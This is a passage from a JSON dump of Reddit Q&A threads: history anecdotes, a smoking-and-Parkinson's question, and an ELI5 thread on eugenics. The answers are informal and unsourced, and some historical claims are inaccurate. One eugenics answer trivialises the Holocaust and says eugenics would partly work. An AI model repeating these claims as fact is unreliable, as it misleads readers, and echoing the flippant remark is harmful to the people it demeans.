2nd Earl of Rochester was an poet and courtier in  King Charles II's Restoration court. Indeed, he was so close to Charles II that he spent a great deal of time in his bedroom Gentleman of the Bedchamber (formerly known as the Groom of the Stool) and out on the streets pimping for him. He had a rather privileged background, but an incredibly strict and puritan one due to his mother, which is something he would react violently against later in his life. \n\nHe went to Oxford and was initiated into many of the sex clubs there just as Charles II was restored to the throne of England.  The Restoration reacted against the strictness of the  Puritan era and Rochester was the embodiment of the new era, and he is as well known for his insane lifestyle and poetry. He quickly became a favorite at court, as his Father had been the one to help Charles II get out of the country alive so Charles II took a liking to him and adopted him as his \u201cson\u201d. \n\nIn his Grand Tour of Europe after his graduation, he visited Italy and was instantly taken by it and the works of Pietro Aretino, the father and founder of literate pornography, and he quickly began to copy him in the way he knew how, lewd  &  ribald poetry. He returned to England and was arrested for trying to kidnap and elope with his future wife, a rich heiress and he agreed to go into the Navy in an attempt to repair his image. He returned a war hero and was rewarded by Charles II by being initiated as a Gentleman of the Bedchamber. This mostly required that he sleep at the foot of the Kings Bed while the king was with his mistresses, and in Rochester\u2019s case meant that he was responsible for seducing beautiful women, most notably Nell Gywnn, and teaching them to be the perfect mistress for the king. \n\nAccording to a biography of Rochester, his duties also included sexual escapades alongside the King:\n\n > On December 2, Pepys heard Charles's \"silly discourse\" about Rochester having his clothes and gold stolen by one wench while he was abed with another. The Earl's clothes turned up later, stuffed in a feather bed, but the gold was \"all gone.\" Rochester turned the tables, according to another story, by accompanying the King in disguise to a brothel and sneaking off his clothes and money while Charles made sport. Trapped, the embarrassed monarch offered to pay for his pleasure with a ring, which was recognized\u2013\u2013as was its royal owner. Such farcical doings were widely talked about. \n", "This is the story of Matthew Hopkins, Witch-Finder General.\n\nIt started in Denmark, of all places, because a ship bearing the Queen of England had hit some pretty bad weather and nearly sunk. The King of England, known as both James VI of Scotland and James I of England, was understandably upset about this. To make matters worse, members of the Danish court brought him some woman who was claiming to have been a witch, part of a coven, that had cast a spell to intentionally kill his wife on the orders of the devil.\n\nThat story itself is a great one, but suffice it to say James was skeptical at first, but ultimately convinced that witches were real and a serious threat. However, being a somewhat rational-minded individual, he began to lay down some rules requiring all accused witches have *material evidence* against them before they could be condemned in English courts, and that you couldn't torture people to get a confession out of them.\n\n**Enter Matthew Hopkins.**\n\nIt's 1644, and some women in Chelmsford were accused of Witchcraft. Hopkins was appointed by the court to investigate the women and determine whether they were genuinely witches. Now, based on the rules of James set out, you had to have material evidence, and you couldn't torture people. Hopkins understood that to mean that it was perfectly alright to physically force the women accused to stand and walk around the room every few hours over the course of days, depriving them of sleep. He also took \"material evidence\" to mean that the girls could be stripped naked and their bodies searched (by an older woman, because apparently he had some concern for their modesty) for any kind of physical imperfection. A mole, a freckle, a birthmark. These marks, Hopkins claimed, were seals marking their deal with the devil, proof they were witches.\n\nHe also would tie people to chairs and throw them into lakes, arguing that if they were witches, they would float. The reasoning goes that witches had rejected their baptism, and therefore the waters would reject them in turn. Hopkins actually got warnings from local authorities that this was super illegal, and he agreed to stop doing it \"without getting permission from the victim first.\" He also liked to take blunt knives and try to cut the skin, and if they didn't bleed they were witches. All of this, Hopkins reasoned, *wasn't torture*.\n\nSurprisingly, his methods did get some convictions, and so he was considered effective. With his first few successes under his belt, he began to travel throughout East Anglia and proclaiming himself Parliament's Witch-Finder General, a title that Parliament did not ever bestow.\n\nThe most shocking part about this is that he would go into towns, and *charge the town exorbitant fees* to \"find witches,\" which he would then prosecute by the above mentioned means, and then take off to the next one. He apparently made a tidy little sum doing this. He even wrote a book detailing his experiences.\n\nA book which managed to make it's way to New England.\n\nA book which just so happened to be influential in the trial of Margaret Jones, the first woman executed in the infamous series of witch hunts in New England during the late 17th Century.\n\nAll because of Matthew Hopkins, Witch-Finder General.\n\n--------------------\n\nEDIT: Clarifying that James was king of England, and it was his wife that nearly died during the rough sea voyage.\n\nEDIT2: James VI, not James IV,", "I've told the story of Operation Sealion a couple of times before, and it still amazes me how ill-thought the entire affair was.\n\nWith only a couple of months of lead up time, Hitler directed an understaffed OKW to draw up an entire plan for the seaborne invasion of Great Britain. The absolute paucity of their preparations can only be compared to the depths of thought and planning that were necessary to carry out the Allied powers' own invasion on D-Day.\n\nOf course, the Nazis never attempted the invasion, and looking at some of the details of their plan I'm left wondering if the people tasked to creating it even took the job seriously.\n\nFor one, the German military did not have any type of specialized landing craft, and no plan to create any, nor did they have sufficient troop ships to carry soldiers across the English channel. Already during the much smaller invasion of Norway, the Nazis had lost thousands of soldiers and tens of ships just trying to cross the straight from Denmark.\n\nRather than learning the lesson and developing specialized tools and doctrines for amphibious operations, the planners for Sealion intended to use cargo barges that were designed for river travel to cross the choppy North Sea.\n\nTheir freeboard was so low that if an unexpected storm had brewed up substantial portions of the invasion fleet would have sunk without any enemy intervention at all. The appearance of a single British cruiser sailing past at high speed could have put paid to the invasion without even firing its guns. All it would have to do is sail quickly past and let its wake swamp wallowing barges packed with men and panicked horses.\n\nWhich brings us to the point that the Germans had no ability nor plan to land armor with the first wave of soldiers. The poor infantry would have been expected to take out strongpoints on the beach without the benefit of tanks or artillery. Or, even substantial shore bombardment, because the German fleet would have been totally committed to trying to fend off the Royal Navy.\n\nThose landed soldiers would then be further hampered by the fact that the Germany army did not have enough life vests for everyone, nor plans to produce enough. Therefore, once struggling out of the rowboats that were ferrying them from the barge to shore, they were to be expected to take off all their gear, remove their life vest, and then put it back into the boat so that the next wave could use it. All this while wading across a beach that would be under constant artillery bombardment, if not also subjected to chemical weapon attacks.\n\nEven then, all this supposes that the barges would even make it to the beach. Besides their questionable seaworthiness, not every barge was even equipped with a motor. In their normal operation, they would be towed by tugboats along the Rhine river, or sometimes locomotives along canals. Presumably, when a barge with a motor sunk, the next barge following in line would have been expected to retrieve it and motor forward themselves. Or row, or something.\n\nThe plan also involved these many barges to coalesce in clean lines of travel so that they could be (somewhat) protected by the German Navy and Airforce, and they were to travel at night. They would have no opportunity to practice. Then, still at night, as they approached the beach they were to turn parallel to the shore in a coordinated movement without any signalling lights that might give away their position before beginning preparation for landing in complete darkness.\n\nGiven that the Allied powers lost thousands of soldiers during their own preparations for landing, and that no small number of the dead were due to pure accident, it's unlikely that Germany would have actually made it to the beach in any semblance of order. \n\nAll this as well is assuming a perfect scenario where neither the RAF or Royal Navy exist. In actuality, the largest fleet in the Atlantic would have been mixing it up among the frankly helpless German troop transports.\n\nThe plan was so mind-mindbogglingly stupid that, even if everything went exactly as expected, a necessary byproduct would have been crippling German industry because the barges that were necessary for transporting soldiers were already necessary for transporting coal and other raw materials within Germany itself. They couldn't do both!", "Zhukov, SunAgainstGold, and Kiezlowskifan walk into a bar. I don't remember the punchline but it's lengthy, detailed and well sourced.\n\nAlways found this story from Stephen J Gould to be interesting, also alcohol consumption makes for better Teddy Roosevelt impersonations.\n\nAbbott Thayer was a painter who spent most of his time in New England, and by the end of the 19th century, had become quite respected. Watching birds on his farm in New Hampshire, he developed the concept of countershading, which he published in \"The Law which underlies Protective Coloration\" in *The Auk* in 1896. It was well received by ornithologists and he published several more articles about camouflage in scientific publication, including an early description of disruptive camouflage in 1903. He attributed his discoveries to being a professional artist and thus, in finding and using color for a living, and in being very familiar with it. Within a few years, he had expanded his theories to say that *all* coloration in animals is for concealment and that any color pattern found in animals could have some purpose in camouflage. The book he intended to be his magnum opus, *Concealing Coloration in the Animal Kingdom* was published in 1909 to considerable criticism from the scientific community. His most egregious - and famous - example was his painting of a flock of flamingos disappearing into the sunset, blending in by virtue of being reddish. Coming from an artist, it was a bit odd to ignore that these birds would mostly just be silhouetted, and defeat the purpose entirely. This was one of many examples of color he claimed were for concealment, such as the showy tail of a peacock, and the blue rump of a baboon. Of all the critical articles published in response, the most scathing came in a 1911 piece titled \"Revealing and Concealing Coloration in Birds and Mammals\", running to over a hundred pages and authored by Theodore Roosevelt. \n\n > Among all the absurdities to which Mr Thayer has committed himself, probably the wildest is his theory that flamingos are concealingly colored because their foes mistake them for sunsets. He has never studied flamingos in their haunts, he knows nothing personally of their habits or their enemies... and certainly has never read anything to justify his suppositions; these suppositions are nothing but pure guesswork, and even to call them guesswork is a little over-conservative, for they come nearer to then obscure mental processes which are responsible for dreams.\n\nA friend of Roosevelt's felt compelled to state\n\n > Even if we don't agree with him, it is not necessary either to cut him into little pieces or to break every bone in his body with the 'big stick'. \n\nafter the article and later, a letter to Thayer from Roosevelt trying to convince him of his error, in which Teddy states the flamingos are equivalent to putting a raven in a coal scuttle and pronouncing it concealed. A few legitimate and actually prescient principles of bird coloration were applied a bit too broadly and ruffled a few feathers, which unfortunately for Thayer, included the belligerently naturalist ex President. Those principles came in very handy in WWI, when the Royal Navy put them to good use.", "I don't drink, but I still have a few stories I like to tell over cheese curds with friends at a bar.  \n\nOne is more a flurry of anecdotes about how damn homoerotic the Confederate high command in the East could be.  In one story, JEB Stuart cuddled up to Stonewall Jackson in his sleep, and Jackson complained the next morning that Stuart had 'ridden him like a damn horse!'  In his memoirs, Confederate artillerist Edward Porter Alexander described future general James McPherson as beautiful, possessed of an almost feminine grace; one of those men you might love almost like a woman.  Longstreet was known for having a relaxed and convivial headquarters; at least once, they got drunk enough that Longstreet got on all fours and gave some of his lieutenants rides around the tent.  For a while I joked that Lee was the Token Straight of the Confederacy, but then I remembered how he called Jubal Early 'my Bad Old Man', and I was like damn, not even Lee...\n\nAlso the story of Frederick Townsend Ward and the Ever Victorious Army.  Basically there's a civil war in China, and Ward is a former filibuster from the U.S. looking to make some money as a mercenary in Shanghai.  His 'army' was mostly scraped together from drunkards and deserters from the British and French stationed in Shanghai, and mostly funded by the local bankers.  His first battle was an attempted storming of the town of Songjian, near Shanghai, but his men got so drunk that their racket bringing up the ladders woke up the sleeping sentries, who shot them to pieces.  Another time, his army's artillery broke down the gate, only to find another gate at an angle the cannon couldn't hit, so they carried explosives up to get through.  The hole in the gate was only big enough for one man to fit through, though, and while they did drive off the defenders, his 'army' was almost wiped out; he had something like thirty men left.  At one point, the British admiral Hope detained Ward, but was frustrated by the fact that not only was Ward American, but he claimed to have renounced even his American citizenship; he was now a subject of the Emperor, according to his certificate of marriage to a local banker's daughter, *dated several days in the future.*  The British had exercised strict neutrality in the war up to that point, and Ward's band of deserters and drunkards were an embarrassment to the foreign community in Shanghai, and at this point, they were doing damage control.  But, Ward managed to slip away through an open porthole in the ship, slinking back off into the Shanghai underworld in a waiting Sampan.", "Not specific History, but historical anecdote (sort of), to put things in perspective:\n\nHistory, like distance, tends to \"telescope\" things; things get stacked on top of each other in our perception, even if they are far apart.  For example, consider Ancient Egypt:  Cleopatra, mummies, the Pyramids, etc.  Most people are stunned to find out that Cleopatra (~50 BCE) is closer in time to us than to the Pyramids (~2500 BCE)! The past is a big place. \n", "The Neronian Persecution. There's a lot to talk about, most people know about Nero from Bugs Bunny, and it's violent enough to usually capture people's interest. ", "Have you heard about the last time Great Britain was invaded... in 1797... by an Irish army, led by an American, and carrying French colors?\n\nIn retaliation (possibly) for the British support for counter-revolutionary rebellion in the Vendee, the very general who has crushed that uprising drew up a plan to foment revolt in Ireland. Rather confusingly, the plan also involved landing troops in Wales as a diversion, and whereupon the Welsh would naturally rise up against oppression by the English, and support landings of Irish armies who would sweep across the mainland and carry revolutionary ideals to every corner of the sceptered isle.\n\nIn a stunning piece of military logic, a plan was devised to land three forces in Ireland, Wales and eastern England in a simultaneous and coordinated attack. In February. In the Atlantic. From sailing ships.\n\nTwo of the forces abandoned plans - weather prevented the Irish force from approaching the coast, and the England force similarly fought the weather, mutinied, and went to the Netherlands instead. The Wales landings went ahead, but...\n\nThe third force, 1400 men embarked upon four ships, was made up of Irish exiles, French penal soldiers, and apparently some British prisoners-of-war. They were grandly named *La Legion Noire* because of their uniforms, which were dark because they were in fact overdyed *British* uniforms captured at Quiberon. They were led by Colonel William Tate, an American exile (who spoke no French) who was a veteran of the war of independence.\n\nThe objective of this force was the protected anchorage of the little town of Fishguard. This is a walled harbor town, whose main economy at the time was, maybe unsurprisingly, fishing. The invading force landed a couple of miles away - unopposed, of course - and marched to their primary objective.\n\nNow, here's where legend comes in. Drawn by the sight of French warships going up and down the coast, the ladies of Fishguard lined the harbor walls to look at what was going on. Side bar, they were [dressed like this](_URL_0_). Yes, traditional country costume for Welsh ladies at the time was a red coat and a black shako. Sabretache, musket and a-whole-band-o'-music-going-afore-ye, optional.\n\nThis gave the invasion force, shall we say, pause. There was enough indecision to cause a mutiny in the ranks, and Tate found that half his force had vanished. He set up HQ in a nearby farmhouse, and his remaining force began foraging the countryside (ie. looting).\n\nDespite west Wales being far outside the fortification zone of south-eastern England, the local militia were organized enough (because, weirdly, they were all in one place to attend a funeral) to assemble 750 men by the *next day*, February 23. They probed towards Fishguard from their assembly point some distance away, and were reinforced by, god bless 'em, His Majesty's Revenue, who had some 150 brawny thugs assisting local drunks to volunteer for the Navy around the area.\n\nTate's first instinct (having lost half his army, hearing of the militia response, and still apparently being watched by an entire regiment of line infantry in Fishguard) was to make for his ships - but they had been under orders to rendezvous with the Irish force, and were nowhere to be found. So his next option was obviously surrender, which he did by writing a letter to the officer commanding the British Army in Fishguard. Who, of course, did not exist. In a shocking turn of events, the militia commander (one Lord Cawdor - yes, *that* Cawdor) showed up just in time to negotiate an unconditional surrender.\n\nInitially the captured soldiers were dispositioned around various barns, sheds and churches (the local jail being too small to hold them), but were sent back to France by early 1798 in prisoner exchanges.", "My favorite random historical tidbit is how Edwin Booth (John Wilkes' brother) saved the life of Lincoln's son on a train platform.\n\nAnd then there's also how Lincoln's bodyguard, depicted in the famous image of the assassination at Ford's theater, ended up murdering his entire family, possibly as a result of guilt over not being able to save Abe.", "One of my favourites is the story of the Christianisation of the Rus\u2019. The story itself is likely apocryphal, but since it comes directly form the Primary Chronicle it\u2019s at least contemporary apocrypha. \n\nThe Chronical says that Prince Vladimir the Great of Kiev was visited by representatives of the major Abrahamic religions who wanted him to convert his pagan country. The first were Muslims from Volga Bulgaria who promised him that all his carnal desires would fulfilled in the afterlife and that, amongst other things, he would be given a selection of 70 gorgeous women to pick from as his new wife. Vladimir, who was a bit of a ladies\u2019 man, was sorely tempted, but was put off by several of the requirements: firstly circumcision, secondly the prohibition of pork, and finally the prohibition of alcohol, about which he said, \u201cDrink is the joy of the Rus\u2019. We cannot exist without that pleasure.\u201d\n\nSecond came Roman Christians from the Pope who preached the Gospel, which spoke to Vladimir, but when asked about their teachings mentioned that fasting was expected from Roman Catholics. Vladimir disliked this and sent them away. \n\nThirdly were Jews from Khazaria who were asked where their homeland was and was told that God was angry with them, their city was destroyed, and the Jews were scattered to the winds. Vladimir saw this as a sign of God\u2019s displeasure with the Jews and sent them away.\n\nFinally came representatives from Byzantium, preaching the Eastern Orthodox faith.  These representatives said that they preached much the same as the Romans, but that they used bread, not wafers during communion (There is also the conspicuous absence of fasting in this passage). This argument seems to won Vladimir out (combined with a long, arduous passage explaining the fall of man and sacrifice of Jesus, which on would assume the Romans told him as well (although it\u2019s not mentioned for *inexplicable* reasons)). \n\nVladimir then decided to end envoys out to see what the places of worship of the Romans, Greeks and Bulgars were like. The Bulgars were too sad (they also apparently stank), the Catholics were too solemn, but the Greek churches were very rich and beautiful, and thus god must live there. As the final nail in converting Vladimir, his nobles reminded him that his awesome grannie was a Greek Christian and therefore it was the correct faith.\n\nThus swayed, Vladimir was baptised, then baptised the whole kingdom.\n\nTL;DR Because of Booze, Bread and, Beauty Russia celebrates Christmas on January 7.\n", "How to choose... there are so many! Over a beer, I try to choose stories that I guess the other party can appreciate, preferable combined with an enlightening \"oh, that make sense\" moment. But maybe my favorite obscure history tidbit to tell, even though it's a bit hazy on details and factuality, is how Benedict XIV became pope (well... antipope, but, details!) by one vote... literally. \n\nThis story really tells it more from the \"over a pint\" perspective than from a serious scientific one. But I guess for this topic such an exception from the serious and well-founded-in-sources-approach might be acceptable. Just apply your salt shaker in whichever degree you think might be needed.\n\nSo, many of you might know how the Papacy in the late middle ages wasn't exactly at its high point. After trying to grab supremacy over the European kings and even the emperor, and failing, they ended up being more and more dependent on the most powerful ruler, the French king. Clement V didn't even bother to move to Rome after his election and just settled down in Avignon. His successors (unsurprisingly, all French), decided that Avignon was good enough for them; after all, it had a fancy palace and fewer pesky local nobles and all that. So Avignon it was. This made a lot of people very angry and was widely seen as a bad move. Not the least among them Catherine of Siena, who nagged one of Clement V's successors, Gregory XI, until he finally gave up and moved back to Rome.\n\nWell, that made a different lot of people very angry and was also widely seen as a bad move. So after Gregory XI died, there was a lot of infighting between Romans and Avignonese. The Romans won, but the Avignonese weren't so easily defeated. They did what, of course, everybody likes to do when the papal election doesn't turn out their way: elect an antipope for themselves. And thus the Great Western Schism started, which dragged on for the better part of a generation, with each side electing successors to their respective popes when needed.\n\nNow, having two popes is not a thing that works so great in the Catholic Church. It's much better off with a single one, because it gets all very messy if you have two vicars of Christ and they claim different things. Who are you going to follow on your way to eternal salvation? So the the Council of Pisa was set up to elect a third pope in 1409, and to depose the other two. Which... didn't work out as expected, because the other two didn't agree, and everybody ended up worse than before, with a third pope.\n\nNot to give up so easily, the bishops tried again a few years later in Constance. Surprisingly, it worked that time: the church ended up with a new pope (the fourth concurrent, if you're keeping track), Martin V., people (ok, rulers, but they decided what the people were to believe, right?) were happy, job well done, right?\n\nWell, of course not quite. Getting the agreement of the rulers was the most important part (a guy that calls himself pope without followers is just a guy who's a bit funny in the head and happens to have fancy robes, after all), and two of the other popes actually yielded (eventually), but Benedict XIII, antipope in Avignon, wasn't that easy to discourage. This was about the true faith and eternal salvation, after all! Sadly, even his own country didn't follow him any more, so he fled to Aragon. When he felt near death, he realized he had to secure his line, so he created several cardinals - four, to be exact - before he kicked the bucket.\n\nHowever, the problem with schismastic organizations is that they tend to put principles above practicality, and end up fracturing more and more (remember the People's Front of Judea and the Judean People's Front?) So, naturally, the four cardinals couldn't really come up with a unanimous choice. Three of them decided in the end to elect a Spaniard as antipope Clement VIII. \n\nThe fourth cardinal, however, happened to be absent during the conclave and decided that his brothers' choice was completely unacceptable; so he formed his own one-man conclave. After what we assume must have been endless rounds of fruitless elections, he came up with a Frenchman, who henceforth would rule (if you may call it so) as Benedict XIV, and, thus, became the only pope in history who was literally elected by a single vote.\n\nWhat can we learn from this?\n\n* Knowing the right people is half the battle: even a single cardinal buddy may be enough to become vicar of Christ.\n* Don't sweat it if you're not famous by age 30: you might suddenly be elected pope in your 50ies.\n* Just because you're a pope doesn't mean you'll be famous: we know almost nothing about Benedict XIV, neither from before his election, nor after, because almost nobody cared about it and him.", "Julius Caesar humiliating Cato, in response to a letter Caesar received in the Senate during the Catelline Conspiracy. ", "So late to this thread, but I don't care:\n\nDuring the course of the First World War, the English Lt. Col. Percy Fawcett was given command of an artillery battery that had been achieving great success. They had been doing as much because of their previous commander's willingness to use novel and unorthodox methods for finding corresponding artillery targets -- the flashes of battery fire against cloud cover, the angular calculation of echoes, the reverberation of such fire through the earth, etc. All of this may sound very unusual indeed, but it was quite sound and quite successful during the war.\n\nLt. Col. Fawcett, however, would have *none of it*. In his ironclad, brute-facts wisdom, he told his newly-acquired battery that they were to stop these ridiculous modern affectations at once. Instead -- and here we descend into hell itself -- his batteries were only to fire on targets they could literally see with their eyes or which had been *vouchsafed to them by Lt. Col. Fawcett's OUIJA board.* This did not work very well at all, as you may imagine.\n\nIn 1925, Fawcett would disappear -- presumed dead -- while searching for the \"Lost City of Z\" in Brazil. No trace of him was ever found.", "Galvarino. It's always Galvarino. Galvarino was a Mapuche captured by the Spanish Conquistadors who had his hands chopped off by the Spanish. He went back to his lonco, protested the act, tied two swords to what remained of his arms and fought the Spanish again.", "Shakespeare wasn't just bawdy and clever in his writings, but in his life as well (as we might as well expect from Early Modern actors):\n\nThe story goes that William Shakespeare overheard his fellow actor Richard Burbage planning on a rendezvous with a lady after a performance of *Richard III*. Shakespeare then took it upon himself to meet with the lady himself. When Burbage arrived for his meeting, he found that his lady was not there to meet him, but rather a note from his dear friend Shakespeare reading: \u201cWilliam the Conqueror was before Richard III.\u201d\n\nSource: _URL_0_", "The Effie Afton was a steam boat located on the Mississippi River.  The Effie Afton was primarily used to ferry customers from Rock Island, Illinois to Davenport, Iowa.  In April of 1856 the first rail road bridge over the Mississippi was completed and put into use.  Well this new technology greatly affected the steamboats usefulness and they were not going to sit by and watch their livelihood disappear without putting up a fight so they hatched a plan.\nFrom WIKI\n\u201cThe story goes like this. As darkness fell on the evening of May 6, the steamer Effie Afton moved slowly upriver toward the newly completed bridge. The vessel blew her whistle signaling that she was moving through the draw. The draw slowly opened and the steamboat moved through. Some two hundred feet after the Effie Afton cleared the draw, she heeled hard to the right. Her starboard engine stopped, the port power seemingly increased. She struck the span next to the opened draw. The impact caused a great deal of damage to both the bridge and the boat. Then a stove in one of the cabins was knocked over and its fire spread rapidly to the deck and then to the bridge timbers. The vessel burned to cinders within five minutes. One span was completely destroyed, and there was some pier damage as well as minor damage to the rest of the bridge. By the following day, the rest of the bridge caught fire and was completely destroyed. Steamboats up and down the river celebrated, blowing whistles and ringing bells.\u201d\n\nThe railroad company knew this act was not an accident so they sued the steamboat owners.  This railroad company hired one of the most well-known and well liked lawyers in the state at the time, Abraham Lincoln.  Lincoln won the case, the steamboat company was forced to pay for the re-construction and Lincoln went on to have a fairly successful life.\n", "Hitler had a half brother called Alois who lived for a short time before ww1 in Ireland and the UK. He married an Irish girl and lived at a house on Upper Stanhope Street in my city (Liverpool).\n\nLiverpool was heavily bombed during ww2, by some reckoning the most heavily bombed UK city outside of London. Upper Stanhope street is fairly close to the city centre but escaped the ravages of the raids for the most part. \n\nUntil the 10th January 1942 when one of the last bombs to fall on the city, in the final raid on the city obliterated the house Alois once lived in. \n\nAlois had a son born in Liverpool who later moved to the States and served in the Navy during ww2"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/wiki/features/floating"], "answers_urls": [[], ["http://nsla.nv.gov/MakingNVConst/"], [], [], [], [], [], [], [], ["http://news.bbc.co.uk/media/images/46362000/jpg/_46362272_dsc04409.jpg"], [], [], [], [], [], [], ["http://shakespearedocumented.org/exhibition/document/john-manninghams-diary-earliest-mention-twelfth-night-and-shakespeare-anecdote"], [], []]}
{"q_id": "11p3o2", "title": "Would smoking cigarettes (Nicotine) decrease the effects of Parkinson by releasing dopamine... even slightly?", "selftext": "Also, can the disease be slowed even slightly by activating neurons in this way? Lastly, does smoking lower risks of having Parkinson?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11p3o2/would_smoking_cigarettes_nicotine_decrease_the/", "answers": {"a_id": ["c6odqsl", "c6oee32", "c6og8k1"], "score": [3, 3, 2], "text": ["One thing is that nicotine and other drugs are designed to increase dopamine levels in the prefrontal cortex - this is not the area of the brain that experiences the dopaminergic declines associated with those who have Parkinson's Disease - their decreases in dopamine levels are primarily in the midbrain (near the substantia nigra).\n\nThat said, I wouldn't be surprised if nicotine's effects were non-selective. One should also examine the effects of other drugs (like ritalin) on Parkinson's too.", "It's my understanding that Parkinson's involves the actual death of neurons that produce dopamine. You won't bring those back by smoking cigarettes to release more. Even still, you can't limit this to the mere act of smoking cigarettes. Everything we do that has a reward to it is driven by the dopamine system. Not just cigarette smoking, but sex, eating, taking cocaine, so on. \n\nLastly, I am not a biochemist, but I believe that the way nicotine affects the brain is that it excites acetylcholine release and then inhibits its re-uptake. Additional acetylcholine in the brain would not help the balance of neurotransmitters. ", "Before I get to your actual question, let's start with one point. The risk of dying of lung cancer from smoking is 22.1% for a male, and 11% for a woman, approximately 20X higher than a non-smoker. The risk of Parkinson's Disease is 8 in 100,000 as a whole. So, let's assume that smoking has some positive effect in lowering the risk of PD. Trading off reducing the risk of PD by vastly increasing the risk of dying of lung cancer? Bad trade-off. [This study](_URL_0_) does seem to show a correlation between smoking and reducing Parkinson's risk. It does not show a reduction in symptoms once the disease strikes.\n\nAnd remember smoking does not just absolutely cause lung cancer. It vastly increases the risk of emphysema, cardiovascular disease, peripheral vascular disease, and other cancers. [Read more.](_URL_1_)\n\nHowever, the problem with the assumption that smoking is a good anti-PD drug is multifold. First of all, it's trying to apply a specific pharmacologic effect with the worst possible drug delivery system ever. So, there is research to develop dopamine agonists with localized delivery that won't kill you like smoking. \n\nIf someone wants an excuse to smoke, they shouldn't use \"I'm preventing Parkinson's Disease\" as one of them. It's a horrible risk trade off. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ncbi.nlm.nih.gov/pubmed/16713924", "http://en.wikipedia.org/wiki/Smoking_and_disease#Health_effects"]]}
{"q_id": "3n3aly", "title": "if humans as a race prevented all those with genetically related physical or psychological shortcomings from reproducing, in several generations would there be a marked improvement in the overall health of mankind?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3n3aly/eli5_if_humans_as_a_race_prevented_all_those_with/", "answers": {"a_id": ["cvke6et", "cvke77v", "cvkgm4g", "cvkjkjc", "cvkmfcy", "cvkn2dk", "cvko47h"], "score": [19, 3, 3, 3, 3, 2, 8], "text": ["Difficult to say. Genetics are complicated; not all congenital diseases (that is, diseases you have from birth) are passed to offspring. As well, not all genetic diseases show obviously until much later in life, or maybe not at all (but can still be passed on to offspring). \n\nAt the end of the day, while a eugenics program may sound like a good idea, historically they've had some pretty bad results (like the Holocaust). Having kids is considered more or less a fundamental human right by a large portion of the population, hence why criminals and the mentally handicapped aren't sterilized (anymore). \n\nBasically, while there could be some health benefits to such a program, it would very rapidly become a political minefield. \n\nAlso, sidenote: genetic diseases are much, much, much more common, and also much harder to define, than you would think. Damn near everyone has a genetic predisposition to some diseases, so drawing the line between \"allowed to reproduce\" and \"not allowed\" would be very tricky. ", "In other words: \"Does eugenics works?\"\n\nThe nazis tried to test that but the got distracted kill jews and other people they considered \"unfit\".\n\nSince yhen we can't even touch the subject. \n\nBut I guess that it probably would work in some extent. \n\nThe problem is who to decides if some can or cannot reproduce and which criteria use.", "Obviously we could improve our collective genetics by filtering out unwanted traits, but 1. Many of these flaws are not hereditary so you can't breed them out and 2. Many people suffering from certain flaws weren't going to reproduce anyway (severe mental of physical handicaps for example). It would work, but there would still be a lot of conditions that couldn't be avoided because they are more or less random. The only way we could totally avoid genetic defects would be to step into the reproductive process and select only \"pure\" fetuses, or to manipulate the DNA.", "I don't think it would be good for the species overall. Maybe we could breed out a few genetic diseases, but we would also lose some of the genetic diversity that makes us resistant to other disease, for example, how sickle cell anemia makes some people resistant to malaria. It's difficult to know where to draw the line when genetic traits that are harmful in some environments can be advantageous in others. And the fact that trying to enforce a eugenics program on people would be far more damaging to human lives than disease. ", "Oh my sweet summer child.\n\nShort answer: Probably not.\n\nLonger answer: I mean, we might be able to tamper with genetics enough but we wouldn't want to.\n\nDetailed explanation...\n\nEvolution favors diversity. If you breed humans for a selective end, even if it seems like an obvious benefit, you hurt human ability to adapt in the future. Think of the Shih Tzu. This snub nosed runt has been bread so far apart from most dogs that its existence is dependent on humans. Its breeding is now too extreme and it would be incapable of survival if humans went away. Now, obviously, in your question we wouldn't tamper with humans to this extreme, but we would still be making humans a weaker species and one less equipped to meet a wide diversity of challenges. \n\nWhen it comes to physically/mentally disabled, blind, susceptible to disease you ignore one BIG thing... that shit still happens in nature. In environments where it's still expected for your cause of death to be being eaten, deaf, dumb, blind and gimpy critters are still born. You don't usually see them because, nature. These physical problems are mutations. They might not manifest right away, and they might not even become physical problems until the environment changes. Disease is separate from the general biological functionality. You cant breed out fetal alcohol syndrome, at best you could breed out pleasure from alcohol, but that in and of itself could have bad consequences. \n\nA good example of this the genetic predisposition for some disease. When all we had was nuts and berries, a subtle mutation which would make diabetes more likely didn't really pose a positive or negative until there was enough food for it to be a problem. Inversely, leprosy has all but been eliminated because it's almost killed everybody who's susceptible to the disease. Other problems, like macular degeneration, dependency on vitamins and aging are simply consequence of living and won't likely go away with heavy genetic modification.\n\nHumans breeds would make for an interesting experiment. Many people already falsely equate race to breeds but there simply isn't enough diversity for this to be equivocal. Full human breeding on this scale would look more like Eloi and Morlocks; the end product would take a long ass time and result in something only adapted to specific living conditions. Ultimately though, even if we ignore ethics/morality, there's a huge \"why would we do this?\" We could spend less and do more mapping human genetics and simulating multiple generations of change with a well designed computer model. Best yet, we wouldn't have to feed it. ", "As others have mentioned, you *might* be able to get rid of a few diseases, but you could increase the frequency of other problems by limiting the overall gene pool.  If you remove anyone with a genetic defect at each generation, the gene pool will become eventually become so sparse humanity could end up looking like [Charles II of Spain](_URL_0_).\n\nThe other thing that you wouldn't be able to control would be spontaneous mutation.  The human genome accumulates [1 - 2 new mutations per generation](_URL_1_), so you would still run into issues where a \"clean\" genetic line could become unusable after a time.\n\ntl;dr:  Hard to tell, but selective breeding in humans hasn't worked well in the past:  [Charles II of Spain](_URL_0_)", " > On the other side, humans if you can get someone to agree anyone can reproduce no matter the genetics. If we as a race opted to only let those with no physical problems, no disease and mental illness reproduce would we see a marked health in the human population as a whole or are outside factors (eating too much and getting adult onset diabetes, being exposed to viruses, etc) too prevalent a factor to prevent any marked change?\n\n\nThere's one huge problem with this: how do you know that those \"physical problems, diseases, and mental illnesses\" aren't actually a benefit?\n\nSickle-Cell anemia is a genetic disease that can cause serious problems for the people who have it; but it also provides resistence to malaria. ADD and ADHD are mental disorders that are huge advantages in certain professions. Autism spectrum disorders are also highly correlated with high levels of intelligence in specific areas. People who live with diseases are likely to have resistence to those diseases, either developed or genetic. The list goes on, and on, and on.\n\n\nBasically, what you would likely see is a short-term increase in human health, measured in 1-3 generations; followed by a significant decrease in average human health *and achievement* as the \"defects\" removed from the genetic diversity of humanity also took away certain advantages that came with them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Charles_II_of_Spain", 